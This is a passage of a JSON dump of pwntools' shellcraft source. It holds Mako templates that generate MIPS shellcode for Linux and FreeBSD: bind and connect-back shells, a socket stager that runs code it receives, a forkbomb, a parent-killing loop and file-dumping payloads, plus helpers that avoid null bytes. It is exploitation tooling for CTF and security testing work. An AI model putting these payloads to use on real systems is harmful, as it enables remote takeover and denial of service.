    "content": "Shellcraft module containing MIPS shellcodes for FreeBSD.\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/mips/freebsd/syscall.asm",
    "content": "<%\n  from pwnlib.shellcraft import mips, pretty\n  from pwnlib.constants import Constant\n  from pwnlib.abi import freebsd_mips_syscall as abi\n%>\n<%page args=\"syscall = None, arg0 = None, arg1 = None, arg2 = None, arg3 = None, arg4 = None, arg5 = None\"/>\n<%docstring>\nArgs: [syscall_number, \\*args]\n    Does a syscall\n\nAny of the arguments can be expressions to be evaluated by :func:`pwnlib.constants.eval`.\n\nExample:\n\n        >>> print(pwnlib.shellcraft.mips.freebsd.syscall('SYS_execve', 1, '$sp', 2, 0).rstrip())\n            /* call execve(1, '$sp', 2, 0) */\n            li $t9, ~1\n            not $a0, $t9\n            add $a1, $sp, $0 /* mov $a1, $sp */\n            li $t9, ~2\n            not $a2, $t9\n            slti $a3, $zero, 0xFFFF /* $a3 = 0 */\n            li $t9, ~SYS_execve /* 0x3b */\n            not $v0, $t9\n            syscall 0x40404\n        >>> print(pwnlib.shellcraft.mips.freebsd.syscall('SYS_execve', 2, 1, 0, 20).rstrip())\n            /* call execve(2, 1, 0, 0x14) */\n            li $t9, ~2\n            not $a0, $t9\n            li $t9, ~1\n            not $a1, $t9\n            slti $a2, $zero, 0xFFFF /* $a2 = 0 */\n            li $t9, ~0x14\n            not $a3, $t9\n            li $t9, ~SYS_execve /* 0x3b */\n            not $v0, $t9\n            syscall 0x40404\n        >>> print(pwnlib.shellcraft.mips.freebsd.syscall().rstrip())\n            /* call syscall() */\n            /* setregs noop */\n            syscall 0x40404\n        >>> print(pwnlib.shellcraft.mips.freebsd.syscall('$v0', '$a0', '$a1').rstrip())\n            /* call syscall('$v0', '$a0', '$a1') */\n            /* setregs noop */\n            syscall 0x40404\n        >>> print(pwnlib.shellcraft.mips.freebsd.syscall('$a3', None, None, 1).rstrip())\n            /* call syscall('$a3', ?, ?, 1) */\n            li $t9, ~1\n            not $a0, $t9\n            sw $a3, -4($sp) /* mov $v0, $a3 */\n            lw $v0, -4($sp)\n            syscall 0x40404\n</%docstring>\n<%\n  if isinstance(syscall, (str, Constant)) and str(syscall).startswith('SYS_'):\n      syscall_repr = str(syscall)[4:] + \"(%s)\"\n      args = []\n  else:\n      syscall_repr = 'syscall(%s)'\n      if syscall is None:\n          args = ['?']\n      else:\n          args = [pretty(syscall, False)]\n\n  for arg in [arg0, arg1, arg2, arg3, arg4, arg5]:\n      if arg is None:\n          args.append('?')\n      else:\n          args.append(pretty(arg, False))\n  while args and args[-1] == '?':\n      args.pop()\n  syscall_repr = syscall_repr % ', '.join(args)\n\n  registers  = abi.register_arguments\n  arguments  = [syscall, arg0, arg1, arg2, arg3, arg4, arg5]\n  arguments  = iter(filter(lambda arg: arg is not None, arguments))\n  regctx     = dict(zip(registers, arguments))\n  stack_args = reversed(list(arguments)) # push remaining args on stack in reverse order\n%>\\\n    /* call ${syscall_repr} */\n    ${mips.setregs(regctx)}\n%for arg in stack_args:\n    ${mips.push(arg)}\n%endfor\n    syscall 0x40404\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/mips/linux/__doc__",
    "content": "Shellcraft module containing MIPS shellcodes for Linux.\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/mips/linux/bindsh.asm",
    "content": "<% from pwnlib.shellcraft.mips.linux import listen, dupsh%>\n<%page args=\"port, network='ipv4'\"/>\n<%docstring>\n    bindsh(port,network)\n\n    Listens on a TCP port and spawns a shell for the first to connect.\n    Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.\n</%docstring>\n${listen(port, network)}\n${dupsh()}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/mips/linux/cat.asm",
    "content": "<%\n  from pwnlib import constants\n  from pwnlib.shellcraft import mips\n  from pwnlib.shellcraft import common\n%>\n<%page args=\"filename, fd=1\"/>\n<%docstring>\nOpens a file and writes its contents to the specified file descriptor.\n\nExample:\n\n    >>> f = tempfile.mktemp()\n    >>> write(f, 'FLAG')\n    >>> sc = shellcraft.mips.linux.cat(f)\n    >>> sc += shellcraft.mips.linux.exit(0)\n    >>> run_assembly(sc).recvall()\n    b'FLAG'\n\n</%docstring>\n<%\nlabel = common.label(\"sendfile_loop\")\n%>\n\n    ${mips.pushstr(filename)}\n    ${mips.open('$sp', int(constants.O_RDONLY), '$a2')}\n    ${mips.sendfile(fd, '$v0', 0, 0x7fffffff)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/mips/linux/cat2.asm",
    "content": "<%\n  from pwnlib import constants\n  from pwnlib.shellcraft import mips\n  from pwnlib.shellcraft import common\n%>\n<%page args=\"filename, fd=1, length=0x4000\"/>\n<%docstring>\nOpens a file and writes its contents to the specified file descriptor.\nUses an extra stack buffer and must know the length.\n\nExample:\n\n    >>> f = tempfile.mktemp()\n    >>> write(f, 'FLAG')\n    >>> sc = shellcraft.mips.linux.cat2(f)\n    >>> sc += shellcraft.mips.linux.exit(0)\n    >>> run_assembly(sc).recvall()\n    b'FLAG'\n\n</%docstring>\n\n    ${mips.pushstr(filename)}\n    ${mips.open('$sp', int(constants.O_RDONLY), length)}\n    sub $sp, $a2\n    ${mips.read('$v0', '$sp', '$a2')}\n    ${mips.write(fd, '$sp', '$v0')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/mips/linux/connect.asm",
    "content": "<%\n from pwnlib.shellcraft.mips import push, mov, pushstr\n from pwnlib.shellcraft.mips.linux import syscall\n from pwnlib.constants import SOCK_STREAM, SYS_socket, SYS_connect\n from pwnlib.util.net import sockaddr\n%>\n<%page args=\"host, port, network='ipv4'\"/>\n<%docstring>\n    Connects to the host on the specified port.\n    Network is either 'ipv4' or 'ipv6'.\n    Leaves the connected socket in $s0.\n</%docstring>\n<%\n    sockaddr, addr_len, address_family = sockaddr(host, port, network)\n%>\\\n/* open new socket */\n    ${syscall(SYS_socket, address_family, SOCK_STREAM, 0)}\n\n/* save opened socket */\n    ${mov('$s0', '$v0')}\n\n/* push sockaddr, connect() */\n    ${pushstr(sockaddr, False)}\n    ${syscall(SYS_connect, '$s0', '$sp', addr_len)}\n\n/* Socket that is maybe connected is in $s0 */\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/mips/linux/dupio.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<% from pwnlib.shellcraft.mips.linux import dup2 %>\n<% from pwnlib.shellcraft.mips import mov %>\n<%page args=\"sock = '$s0'\"/>\n<%docstring>\nArgs: [sock (imm/reg) = s0]\n    Duplicates sock to stdin, stdout and stderr\n</%docstring>\n<%\n   looplabel = common.label(\"loop\")\n%>\n\n    /* dup() file descriptor ${sock} into stdin/stdout/stderr */\n    ${mov('$v0',2)}\n${looplabel}:\n    ${dup2(sock,'$v0')}\n    bgtz $v0, ${looplabel}\n    addi $v0, -1\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/mips/linux/dupsh.asm",
    "content": "<% from pwnlib.shellcraft.mips import linux %>\n<%page args=\"sock = '$s0'\"/>\n<%docstring>\nArgs: [sock (imm/reg) = s0 ]\n    Duplicates sock to stdin, stdout and stderr and spawns a shell.\n</%docstring>\n\n\n${linux.dupio(sock)}\n\n${linux.sh()}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/mips/linux/echo.asm",
    "content": "<% from pwnlib.shellcraft import mips %>\n<%page args=\"string, sock = 1\"/>\n<%docstring>Writes a string to a file descriptor</%docstring>\n\n${mips.pushstr(string, append_null = False)}\n${mips.linux.syscall('SYS_write', sock, '$sp', len(string))}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/mips/linux/findpeer.asm",
    "content": "<% from pwnlib.shellcraft.mips import mov, nop %>\n<% from socket import htons %>\n<%page args=\"port = None\"/>\n<%docstring>\n    findpeer(port)\n\n    Finds a connected socket. If port is specified it is checked\n    against the peer port. Resulting socket is left in $s0.\n</%docstring>\nfindpeer:\n    /* File descriptor in s0 */\n    /* Inside the loop we begin by incrementing it */\n    /* so initially we want it to be -1 */\n    ${mov('$s0', -1)}\n    /* Let us restore stack easily */\n    ${mov('$s1', '$sp')}\n\nnext_socket:\n    /* Next file descriptor */\n    .set noat\n    ${mov('$at', 1)}\n    add $s0, $s0, $at\n\n    /* First argument is file descriptor */\n    ${mov('$a0', '$s0')}\n\n    /* Second argument is pointer to where to store inet addr */\n    add $a1, $sp, -16\n\n    /* Third argument is pointer to size */\n    add $a2, $sp, -20\n    ${mov('$at', 16)}\n    sw $at, -20($sp)\n    \n    ${mov('$v0', 'SYS_getpeername')}\n    syscall 0x42424\n\n    bne $v0, $zero, next_socket\n    /* Have a nop */\n    ${nop()}\n% if not port is None:\n\ncompare_port:\n    /* Read port number into $t0 */\n    lhu $t0, -14($sp)\n    /* Port to search for into $at */\n    ${mov('$at', port)}\n    bne $t0, $at, next_socket\n% endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/mips/linux/findpeersh.asm",
    "content": "<% from pwnlib.shellcraft.mips.linux import findpeer, dupsh %>\n<%page args=\"port = None\"/>\n<%docstring>\n    findpeersh(port)\n\n    Finds a connected socket. If port is specified it is checked\n    against the peer port. A dup2 shell is spawned on it.\n</%docstring>\n${findpeer(port)}\n${dupsh()}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/mips/linux/forkbomb.asm",
    "content": "<%\n    from pwnlib.shellcraft.mips import nop\n    from pwnlib.shellcraft.mips.linux import fork\n    from pwnlib.shellcraft.common import label\n%>\n<%docstring>\nPerforms a forkbomb attack.\n</%docstring>\n<%\n    dosloop = label('fork_bomb')\n%>\n${dosloop}:\n    ${fork()}\n    .set noat\n    beq $at, $at, ${dosloop}\n    ${nop()}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/mips/linux/forkexit.asm",
    "content": "<%\n    from pwnlib.shellcraft import common\n    from pwnlib.shellcraft.mips.linux import fork, exit\n%>\n<%page args=\"\"/>\n<%docstring>\nAttempts to fork.  If the fork is successful, the parent exits.\n</%docstring>\n<%\ndont_exit = common.label('forkexit')\n%>\n    ${fork()}\n    blez $v0, ${dont_exit}\n    ${exit(0)}\n${dont_exit}:\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/mips/linux/killparent.asm",
    "content": "<%\n    from pwnlib.shellcraft.mips.linux import getppid, kill\n    from pwnlib.shellcraft.common import label\n%>\n<%docstring>\nKills its parent process until whatever the parent is (probably init)\ncannot be killed any longer.\n</%docstring>\n<%\n    killparent_loop = label('killparent')\n%>\n${killparent_loop}:\n    ${getppid()}\n    ${kill('$v0')}\n    beq $v0, $zero, ${killparent_loop}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/mips/linux/listen.asm",
    "content": "<% \n    from pwnlib.shellcraft import mips\n    from pwnlib.util.net import sockaddr\n%>\n<% from socket import htons %>\n<%page args=\"port, network='ipv4'\"/>\n<%docstring>\n    listen(port,network)\n\n    Listens on a TCP port, accept a client and leave his socket in $s0.\n    Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.\n</%docstring>\n<%\n    sock_addr, addr_len, address_family = sockaddr('0.0.0.0', port, network)\n%>\\\n    ${mips.syscall('SYS_socket', address_family, 'SOCK_STREAM', 0)}\n\n    /* Save socket in $s0 */\n    ${mips.mov('$s0', '$v0')}\n\n    /* Build sockaddr_in structure */\n    ${mips.pushstr(sock_addr)}\n    ${mips.mov('$a1', '$sp')}\n\n    ${mips.syscall('SYS_bind', '$s0', '$a1', addr_len)}\n\n    ${mips.syscall('SYS_listen', '$s0', 1)}\n\n    ${mips.syscall('SYS_accept', '$s0', 0, 0)}\n\n    /* Move accepted socket to $s0 */\n    ${mips.mov('$s0', '$v0')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/mips/linux/readfile.asm",
    "content": "<% from pwnlib.shellcraft import mips %>\n<%page args=\"path, dst = '$s0'\"/>\n<%docstring>\nArgs: [path, dst (imm/reg) = $s0 ]\n    Opens the specified file path and sends its content to the specified file descriptor.\n</%docstring>\n    /* Save dst fd for later */\n    ${mips.mov('$s0', dst)}\n\n    ${mips.pushstr(path)}\n\n    ${mips.syscall('SYS_open', '$sp', 'O_RDONLY')}\n\n    /* Save src fd for later */\n    ${mips.mov('$s1', '$v0')}\n\n    /* Make room for struct stat */\n    sw $sp, -214($sp)\n    add $sp, $sp, -206\n\n    ${mips.syscall('SYS_fstat64', '$s1', '$sp')}\n    \n    /* Restore stack */\n    lw $sp, -8($sp)\n\n    /* Load file size */\n    lw $a3, -206 + 60($sp)\n\n    ${mips.syscall('SYS_sendfile', '$s0', '$s1', 0, '$a3')}\n\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/mips/linux/setresuid.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<% from pwnlib.shellcraft.mips import mov, linux %>\n<%page args=\"ruid=None, euid=None, suid=None\"/>\n<%docstring>\nArgs: [ruid = geteuid(), euid = ruid, suid = ruid]\n    Sets real, effective and saved user ids to given values\n</%docstring>\n\n%if ruid is None:\n${linux.geteuid()}\n<% ruid = '$v0' %>\n%endif\n<%\n if euid is None: euid = ruid\n if suid is None: suid = ruid\n%>\n\n${linux.syscalls.setresuid(ruid, euid, suid)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/mips/linux/sh.asm",
    "content": "<% from pwnlib.shellcraft import mips %>\n<%docstring>Execute /bin/sh\n\nExample:\n\n    >>> b'\\0' in pwnlib.asm.asm(shellcraft.mips.linux.sh())\n    False\n    >>> p = run_assembly(shellcraft.mips.linux.sh())\n    >>> p.sendline(b'echo Hello')\n    >>> p.recv()\n    b'Hello\\n'\n\n</%docstring>\n\n${mips.execve('//bin/sh', ['sh'], {})}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/mips/linux/stager.asm",
    "content": "<% \n    from pwnlib.shellcraft import common\n    from pwnlib.shellcraft import mips\n    from pwnlib.asm import asm\n    from pwnlib.util import packing\n%>\n<%docstring>\n    stager(sock, size)\n\n    Read 'size' bytes from 'sock' and place them in an executable buffer and jump to it.\n    The socket will be left in $s0.\n</%docstring>\n<%page args=\"sock, size\"/>\n<%\n    stager = common.label(\"stager\")\n    looplabel = common.label(\"read_loop\")\n%>\n${stager}:\n    /* Save socket */\n    ${mips.mov('$s0', sock)}\n\n    ${mips.syscall('SYS_mmap2', 0, size, 'PROT_EXEC | PROT_WRITE | PROT_READ', 'MAP_ANONYMOUS | MAP_PRIVATE', 0xffffffff, 0)}\n    \n    /* Save allocated memory address */\n    ${mips.mov('$s1', '$v0')}\n    ${mips.mov('$s2', '$v0')}\n\n    /* Read counter */\n    ${mips.mov('$s3', size)}\n\n${looplabel}:\n    ${mips.syscall('SYS_read', '$s0', '$s2', '$s3')}\n\n    /* Decrement read counter */\n    sub $s3, $s3, $v0\n\n    bne $s3, $zero, ${looplabel}\n    /* Increment read address */\n    /* This is in the branch delay slot!!! */\n    add $s2, $s2, $v0\n\n    /* Fully read, now jump to $s1 */\n    jal $s1\n    /* We need something executable in the branch delay slot */\n    ${mips.nop()}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/mips/linux/syscall.asm",
    "content": "<%\n  from pwnlib.shellcraft import mips, pretty\n  from pwnlib.constants import Constant\n  from pwnlib.abi import linux_mips_syscall as abi\n%>\n<%page args=\"syscall = None, arg0 = None, arg1 = None, arg2 = None, arg3 = None, arg4=None, arg5=None\"/>\n<%docstring>\nArgs: [syscall_number, \\*args]\n    Does a syscall\n\nAny of the arguments can be expressions to be evaluated by :func:`pwnlib.constants.eval`.\n\nExample:\n\n        >>> print(pwnlib.shellcraft.mips.linux.syscall('SYS_execve', 1, '$sp', 2, 0).rstrip())\n            /* call execve(1, '$sp', 2, 0) */\n            li $t9, ~1\n            not $a0, $t9\n            add $a1, $sp, $0 /* mov $a1, $sp */\n            li $t9, ~2\n            not $a2, $t9\n            slti $a3, $zero, 0xFFFF /* $a3 = 0 */\n            ori $v0, $zero, SYS_execve\n            syscall 0x40404\n        >>> print(pwnlib.shellcraft.mips.linux.syscall('SYS_execve', 2, 1, 0, 20).rstrip())\n            /* call execve(2, 1, 0, 0x14) */\n            li $t9, ~2\n            not $a0, $t9\n            li $t9, ~1\n            not $a1, $t9\n            slti $a2, $zero, 0xFFFF /* $a2 = 0 */\n            li $t9, ~0x14\n            not $a3, $t9\n            ori $v0, $zero, SYS_execve\n            syscall 0x40404\n        >>> print(pwnlib.shellcraft.mips.linux.syscall().rstrip())\n            /* call syscall() */\n            syscall 0x40404\n        >>> print(pwnlib.shellcraft.mips.linux.syscall('$v0', '$a0', '$a1').rstrip())\n            /* call syscall('$v0', '$a0', '$a1') */\n            /* setregs noop */\n            syscall 0x40404\n        >>> print(pwnlib.shellcraft.mips.linux.syscall('$a3', None, None, 1).rstrip())\n            /* call syscall('$a3', ?, ?, 1) */\n            li $t9, ~1\n            not $a2, $t9\n            sw $a3, -4($sp) /* mov $v0, $a3 */\n            lw $v0, -4($sp)\n            syscall 0x40404\n        >>> print(pwnlib.shellcraft.mips.linux.syscall(\n        ...               'SYS_mmap2', 0, 0x1000,\n        ...               'PROT_READ | PROT_WRITE | PROT_EXEC',\n        ...               'MAP_PRIVATE | MAP_ANONYMOUS',\n        ...               -1, 0).rstrip())\n            /* call mmap2(0, 0x1000, 'PROT_READ | PROT_WRITE | PROT_EXEC', 'MAP_PRIVATE | MAP_ANONYMOUS', -1, 0) */\n            li $t0, -1\n            sw $t0, -4($sp)\n            addi $sp, $sp, -4\n            slti $t0, $zero, 0xFFFF /* $t0 = 0 */\n            sw $t0, -4($sp)\n            addi $sp, $sp, -4\n            slti $a0, $zero, 0xFFFF /* $a0 = 0 */\n            li $t9, ~0x1000\n            not $a1, $t9\n            li $t9, ~(PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */\n            not $a2, $t9\n            ori $a3, $zero, (MAP_PRIVATE | MAP_ANONYMOUS)\n            ori $v0, $zero, SYS_mmap2\n            syscall 0x40404\n        >>> print(pwnlib.shellcraft.open('/home/pwn/flag').rstrip())\n            /* open(file='/home/pwn/flag', oflag=0, mode=0) */\n            /* push b'/home/pwn/flag\\x00' */\n            li $t1, 0x6d6f682f\n            sw $t1, -16($sp)\n            li $t1, 0x77702f65\n            sw $t1, -12($sp)\n            li $t1, 0x6c662f6e\n            sw $t1, -8($sp)\n            ori $t1, $zero, 26465\n            sw $t1, -4($sp)\n            addiu $sp, $sp, -16\n            add $a0, $sp, $0 /* mov $a0, $sp */\n            slti $a1, $zero, 0xFFFF /* $a1 = 0 */\n            slti $a2, $zero, 0xFFFF /* $a2 = 0 */\n            /* call open() */\n            ori $v0, $zero, SYS_open\n            syscall 0x40404\n</%docstring>\n<%\n  if isinstance(syscall, (str, Constant)) and str(syscall).startswith('SYS_'):\n      syscall_repr = str(syscall)[4:] + \"(%s)\"\n      args = []\n  else:\n      syscall_repr = 'syscall(%s)'\n      if syscall is None:\n          args = ['?']\n      else:\n          args = [pretty(syscall, False)]\n\n  for arg in [arg0, arg1, arg2, arg3, arg4, arg5]:\n      if arg is None:\n          args.append('?')\n      else:\n          args.append(pretty(arg, False))\n  while args and args[-1] == '?':\n      args.pop()\n  syscall_repr = syscall_repr % ', '.join(args)\n\n  register_arguments = dict()\n  stack_arguments = []\n  registers = abi.register_arguments\n  arguments = [syscall, arg0, arg1, arg2, arg3, arg4, arg5]\n  for index, arg in enumerate(arguments):\n    if index < len(registers):\n      target = registers[index]\n      register_arguments[target] = arg\n    elif arg is not None:\n      stack_arguments.append(arg)\n%>\\\n    /* call ${syscall_repr} */\n%for arg in stack_arguments:\n    ${mips.push(arg)}\n%endfor\n%if any(a is not None for a in arguments):\n    ${mips.setregs(register_arguments)}\n%endif\n    syscall 0x40404\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/mips/mov.asm",
    "content": "<%\n  from pwnlib.util import lists, packing, fiddling, misc\n  from pwnlib.constants import eval, Constant\n  from pwnlib.context import context as ctx # Ugly hack, mako will not let it be called context\n  from pwnlib.log import getLogger\n  from pwnlib.shellcraft import mips, registers, pretty, okay\n  log = getLogger('pwnlib.shellcraft.mips.mov')\n%>\n<%page args=\"dst, src\"/>\n<%docstring>\nMove src into dst without newlines and null bytes.\n\nRegisters $t8 and $t9 are not guaranteed to be preserved.\n\nIf src is a string that is not a register, then it will locally set\n`context.arch` to `'mips'` and use :func:`pwnlib.constants.eval` to evaluate the\nstring. Note that this means that this shellcode can change behavior depending\non the value of `context.os`.\n\nArgs:\n\n  dst (str): The destination register.\n  src (str): Either the input register, or an immediate value.\n\nExample:\n\n    >>> print(shellcraft.mips.mov('$t0', 0).rstrip())\n        slti $t0, $zero, 0xFFFF /* $t0 = 0 */\n    >>> print(shellcraft.mips.mov('$t2', 0).rstrip())\n        xor $t2, $t2, $t2  /* $t2 = 0 */\n    >>> print(shellcraft.mips.mov('$t0', 0xcafebabe).rstrip())\n        li $t0, 0xcafebabe\n    >>> print(shellcraft.mips.mov('$t2', 0xcafebabe).rstrip())\n        li $t9, 0xcafebabe\n        add $t2, $t9, $zero\n    >>> print(shellcraft.mips.mov('$s0', 0xca0000be).rstrip())\n        li $t9, ~0xca0000be\n        not $s0, $t9\n    >>> print(shellcraft.mips.mov('$s0', 0xca0000ff).rstrip())\n        li $t9, 0x1010101 ^ 0xca0000ff\n        li $s0, 0x1010101\n        xor $s0, $t9, $s0\n    >>> print(shellcraft.mips.mov('$t9', 0xca0000be).rstrip())\n        li $t9, ~0xca0000be\n        not $t9, $t9\n    >>> print(shellcraft.mips.mov('$t2', 0xca0000be).rstrip())\n        li $t9, ~0xca0000be\n        not $t9, $t9\n        add $t2, $t9, $0 /* mov $t2, $t9 */\n    >>> print(shellcraft.mips.mov('$t2', 0xca0000ff).rstrip())\n        li $t8, 0x1010101 ^ 0xca0000ff\n        li $t9, 0x1010101\n        xor $t9, $t8, $t9\n        add $t2, $t9, $0 /* mov $t2, $t9 */\n    >>> print(shellcraft.mips.mov('$a0', '$t2').rstrip())\n        add $a0, $t2, $0 /* mov $a0, $t2 */\n    >>> print(shellcraft.mips.mov('$a0', '$t8').rstrip())\n        sw $t8, -4($sp) /* mov $a0, $t8 */\n        lw $a0, -4($sp)\n\n</%docstring>\n<%\nif isinstance(src, str) and src.startswith('$') and src not in registers.mips:\n    log.error(\"Unknown register %r\" % src)\n    return\n\nif not dst.startswith('$'):\n    log.error(\"Registers must start with $\")\n    return\n\nif isinstance(dst, str) and dst.startswith('$') and dst not in registers.mips:\n    log.error(\"Unknown register %r\" % dst)\n    return\n\nif isinstance(src, str) and src not in registers.mips:\n    src = eval(src)\n\nsrc_reg = registers.mips.get(src, None)\ndst_reg = registers.mips.get(dst, None)\ntmp_reg = '$t9' if dst_reg != registers.mips['$t9'] else '$t8'\n\nif src_reg == 0:\n    src = 0\n    src_reg = None\n%>\\\n% if None not in (src_reg, dst_reg):\n    % if src_reg == dst_reg:\n## Nop.\n    /* mov ${dst}, ${src} is a noop */\n    % elif src_reg not in [2, 3, 4, 5, 6, 7, 8, 16, 24]:\n## Avoid using a src in the list because it causes NULL byte\n    add ${dst}, ${src}, $0 /* mov ${dst}, ${src} */\n    % else:\n## Better than two 'li' instructions due to being two instructions\n## fewer. 'li' is actually 'lui' and 'ori' in hiding.\n    sw ${src}, -4($sp) /* mov ${dst}, ${src} */\n    lw ${dst}, -4($sp)\n    % endif\n% elif dst_reg == 10:\n## Register $t2/$10 may encodes a newline for 'lui $t2, XXXX'\n## so we have to send everything through $t9.\n    %if okay(src):\n    li $t9, ${pretty(src)}\n    add ${dst}, $t9, $zero\n    % elif src in (0, '$zero', '$0'):\n    xor ${dst}, ${dst}, ${dst}  /* ${dst} = 0 */\n    % elif dst == '$t2':\n    ${mips.mov('$t9', src)}\n    ${mips.mov(dst, '$t9')}\n    %endif\n% elif isinstance(src, int):\n## Everything else is the general case for moving into registers.\n<%\n    srcp = packing.pack(src, word_size=32)\n    srcu = packing.unpack(srcp, word_size=32, sign=False)\n%>\n% if src in (0, '$zero', '$0'):\n## XOR sometimes encodes a zero byte, so use SLTI instead\n    slti ${dst}, $zero, 0xFFFF /* ${dst} = 0 */\n% elif okay(src):\n## Nice and easy\n    li ${dst}, ${pretty(src)}\n% elif 0 < src <= 0xffff and okay(src, bytes=2):\n    ori ${dst}, $zero, ${src}\n% elif okay((~srcu) & 0xffffffff):\n## Almost nice and easy\n    li $t9, ~${pretty(src)}\n    not ${dst}, $t9\n% else:\n<%\na,b = fiddling.xor_pair(srcp, avoid = '\\x00\\n')\na = '%#x' % packing.unpack(a, 32)\nb = '%#x' % packing.unpack(b, 32)\n%>\n    li ${tmp_reg}, ${a} ^ ${pretty(src)}\n    li ${dst}, ${a}\n    xor ${dst}, ${tmp_reg}, ${dst}\n% endif\n% endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/mips/nop.asm",
    "content": "<%docstring>MIPS nop instruction.</%docstring>\n    add $t9, $t9, $zero /* nop */\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/mips/push.asm",
    "content": "<%\n  from pwnlib.util import packing\n  from pwnlib.shellcraft import mips\n  from pwnlib import constants\n  from pwnlib.shellcraft import registers\n  import re\n%>\n<%page args=\"value\"/>\n<%docstring>\nPushes a value onto the stack.\n</%docstring>\n<%\nvalue_orig = value\nis_reg = value in registers.mips\n\nif not is_reg and isinstance(value, (bytes, str)):\n    try:\n        value = constants.eval(value)\n    except (ValueError, AttributeError):\n        pass\n%>\n% if not is_reg:\n    ${mips.mov('$t0', value)}\n    <% value = '$t0' %>\\\n%endif\n    sw ${value}, -4($sp)\n    addi $sp, $sp, -4\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/mips/pushstr.asm",
    "content": "<%\n    from pwnlib.util import lists, packing, fiddling\n    from pwnlib.shellcraft import mips, pretty\n%>\\\n<%page args=\"string, append_null = True\"/>\n<%docstring>\nPushes a string onto the stack without using\nnull bytes or newline characters.\n\nExample:\n\n    >>> print(shellcraft.mips.pushstr('').rstrip())\n        /* push b'\\x00' */\n        sw $zero, -4($sp)\n        addiu $sp, $sp, -4\n    >>> print(shellcraft.mips.pushstr('a').rstrip())\n        /* push b'a\\x00' */\n        li $t9, ~0x61\n        not $t1, $t9\n        sw $t1, -4($sp)\n        addiu $sp, $sp, -4\n    >>> print(shellcraft.mips.pushstr('aa').rstrip())\n        /* push b'aa\\x00' */\n        ori $t1, $zero, 24929\n        sw $t1, -4($sp)\n        addiu $sp, $sp, -4\n    >>> print(shellcraft.mips.pushstr('aaa').rstrip())\n        /* push b'aaa\\x00' */\n        li $t9, ~0x616161\n        not $t1, $t9\n        sw $t1, -4($sp)\n        addiu $sp, $sp, -4\n    >>> print(shellcraft.mips.pushstr('aaaa').rstrip())\n        /* push b'aaaa\\x00' */\n        li $t1, 0x61616161\n        sw $t1, -8($sp)\n        sw $zero, -4($sp)\n        addiu $sp, $sp, -8\n    >>> print(shellcraft.mips.pushstr('aaaaa').rstrip())\n        /* push b'aaaaa\\x00' */\n        li $t1, 0x61616161\n        sw $t1, -8($sp)\n        li $t9, ~0x61\n        not $t1, $t9\n        sw $t1, -4($sp)\n        addiu $sp, $sp, -8\n    >>> print(shellcraft.mips.pushstr('aaaa', append_null = False).rstrip())\n        /* push b'aaaa' */\n        li $t1, 0x61616161\n        sw $t1, -4($sp)\n        addiu $sp, $sp, -4\n    >>> print(shellcraft.mips.pushstr(b'\\xc3').rstrip())\n        /* push b'\\xc3\\x00' */\n        li $t9, ~0xc3\n        not $t1, $t9\n        sw $t1, -4($sp)\n        addiu $sp, $sp, -4\n    >>> print(shellcraft.mips.pushstr(b'\\xc3', append_null = False).rstrip())\n        /* push b'\\xc3' */\n        li $t9, ~0xc3\n        not $t1, $t9\n        sw $t1, -4($sp)\n        addiu $sp, $sp, -4\n    >>> print(enhex(asm(shellcraft.mips.pushstr(\"/bin/sh\"))))\n    696e093c2f622935f8ffa9af97ff193cd08c393727482003fcffa9aff8ffbd27\n    >>> print(enhex(asm(shellcraft.mips.pushstr(\"\"))))\n    fcffa0affcffbd27\n    >>> print(enhex(asm(shellcraft.mips.pushstr(\"\\x00\", False))))\n    fcffa0affcffbd27\n\nArgs:\n  string (str): The string to push.\n  append_null (bool): Whether to append a single NULL-byte before pushing.\n</%docstring>\n<%\n    if isinstance(string, str):\n        string = string.encode('utf-8')\n    if append_null:\n        string += b'\\x00'\n    if not string:\n        return\n\n    def get_offset(nib):\n        num = 0\n        # Ensure we don't overflow our existing nibble\n        if nib[0] == b'\\xff':\n            num = 3\n        else:\n            num = 0x101\n        return num\n\n    split_string = lists.group(4, string, 'fill', b'\\x00')\n    stack_offset = len(split_string) * -4\n%>\\\n    /* push ${pretty(string, False)} */\n% for index, word in enumerate(split_string):\n% if word == b'\\x00\\x00\\x00\\x00':\n    sw $zero, ${stack_offset+(4 * index)}($sp)\n<%\n    continue\n%>\\\n% endif\n<%\n    word = packing.u32(word, sign=True)\n%>\\\n    ${mips.mov('$t1', word)}\n    sw $t1, ${stack_offset+(4 * index)}($sp)\n% endfor\n    addiu $sp, $sp, ${stack_offset}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/mips/pushstr_array.asm",
